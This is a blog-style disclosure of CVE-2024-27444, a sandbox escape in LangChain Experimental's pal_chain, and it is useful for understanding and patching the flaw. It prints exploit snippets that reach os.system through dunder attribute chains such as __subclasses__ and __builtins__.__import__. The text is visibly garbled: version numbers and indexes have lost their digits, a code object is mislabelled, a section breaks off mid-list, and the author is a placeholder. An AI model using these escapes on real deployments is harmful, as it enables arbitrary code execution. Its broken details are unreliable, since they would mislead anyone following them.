Published June 2024

Author: Your Name

LangChain makes it easy for developers to harness the power of language models in complex applications. But with power comes risk – especially when user-supplied code enters the picture. A recent vulnerability, tracked as CVE-2024-27444, shows how attackers can slip past old fixes and run arbitrary Python code with clever tricks. This post will unpack the issue, show how it works, and explain why the fix for CVE-2023-44467 wasn't enough.

Vulnerability Summary

Component: langchain_experimental (aka LangChain Experimental)
Affected Versions: Before .1.8
Fixed In: .1.8 and later
Vulnerability type: Sandbox escape / code execution
Attack vector: Untrusted code is processed by an incomplete sandbox, allowing malicious payloads.

Understanding the Background

LangChain Experimental enables users to interact with language models, sometimes allowing chunks of user-supplied code to run inside Python’s eval() or exec() environments.

CVE-2023-44467 addressed some obvious attack vectors, but left holes: a determined attacker can still access Python’s dangerous internals using attributes like __import__, __subclasses__, and more.

Vulnerable File

The weak point lies in pal_chain/base.py. Here, the code *tries* to restrict what’s available to executing code, but fails to block certain attribute chains.

How the Attack Works

Python’s flexibility can backfire. Attributes that both start and end with double underscores—also called "dunder" attributes—let attackers access “hidden” parts of built-in objects.

Even if you block most Python builtins, a well-chosen chain like

().__class__.__bases__[].__subclasses__()

lets attackers access *all* subclasses of Python's base object. From there, you can often find things like <class 'os._wrap_close'>, and by following attribute chains, reach code execution primitives.

Exploit Example

Suppose a malicious user can send input to LangChain Experimental and have it “executed.” Here’s how they might run a shell command:

Exploit Code

# Step 1: Find the os module via __subclasses__
os_module = ().__class__.__base__.__subclasses__()[59]  # index may vary

# Step 2: Run a system command:
os_module('ls /tmp', shell=True)

Or, using Python's import system via __import__

# Bypass restrictions by calling __import__ through __builtins__
os = ().__class__.__base__.__subclasses__()[59]  # or use __import__('os')
os = __builtins__.__import__('os')
os.system('id')

The number [59] is not always correct—it depends on the environment. Attackers often loop through all __subclasses__() to find what they need.

Why This Works

pal_chain/base.py tried blocking eval or exec from accessing regular imports and builtins—but did not block attribute access to dunder attributes. This means the attacker can:

References and Further Reading

- LangChain Changelog
- Security Advisory for CVE-2023-44467 (Original Fix)
- Python Sandbox Escape Techniques
- Discussion on Python __subclasses__ exploitation

Mitigation

If you use LangChain Experimental < .1.8, UPGRADE IMMEDIATELY.
Do not trust any sandbox that doesn’t *explicitly* prevent access to dangerous dunder attributes. As a rule:

- Never run untrusted Python code, unless using mature sandboxing (i.e. physical containers, not just code tricks).

Conclusion

CVE-2024-27444 is a reminder that Python sandboxes are very hard to get right. Blocking obvious builtins is not enough—dunder attributes are an ever-present backdoor. As with many “experimental” tools, they should never be exposed to user-supplied code in production environments until you’ve examined the source and confirmed robust security mechanisms.

Stay safe and keep an eye on your dependencies!

Exclusive Full Disclosure by Your Name

Timeline

Published on: 02/26/2024 16:28:00 UTC
Last modified on: 08/06/2024 16:35:07 UTC